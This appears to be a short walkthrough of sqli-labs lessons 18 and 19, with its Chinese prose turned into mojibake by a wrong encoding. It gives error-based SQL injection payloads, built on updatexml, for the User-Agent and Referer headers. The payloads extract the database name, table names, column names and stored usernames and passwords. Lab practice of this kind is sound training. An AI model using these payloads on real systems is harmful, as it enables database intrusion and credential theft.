16¡¢HTTPÍ·×¢Èë(User-Agent¡¢Referer)

»·¾³sqli-labs

less 18

1¡¢ÔÚUA´¦ÊäÈëÌØÊâ×Ö·û£¬±¨´í

2¡¢¹¹ÔìÊäÈëÓï¾ä£¬»ñÈ¡Êý¾Ý¿âÃû³Æ

or updatexml(1,concat(¡¯##¡¯,(database())),0))#

3¡¢»ñÈ¡±íÃû

or updatexml(1,concat(¡¯##¡¯,(select group_concat(table_name) from information_schema.tables where table_schema=¡®security¡¯)),0))#

4¡¢»ñÈ¡×Ö¶Î

or updatexml(1,concat(¡¯#¡¯,(select group_concat(column_name) from information_schema.columns where table_schema=¡®security¡¯ and table_name=¡®users¡¯)),0))#

5¡¢»ñÈ¡×Ö¶ÎÄÚÈÝ

or updatexml(1,concat(¡¯#¡¯,(select * from (select concat_ws(¡¯#¡¯,id,username,password) from users limit 0,1) a)),0))#

less 19

ÊäÈëµãÔÚreferer£¬×¢ÈëÓï¾äͬless 18

½ûÖ¹·Ç·¨£¬ºó¹û×Ô¸º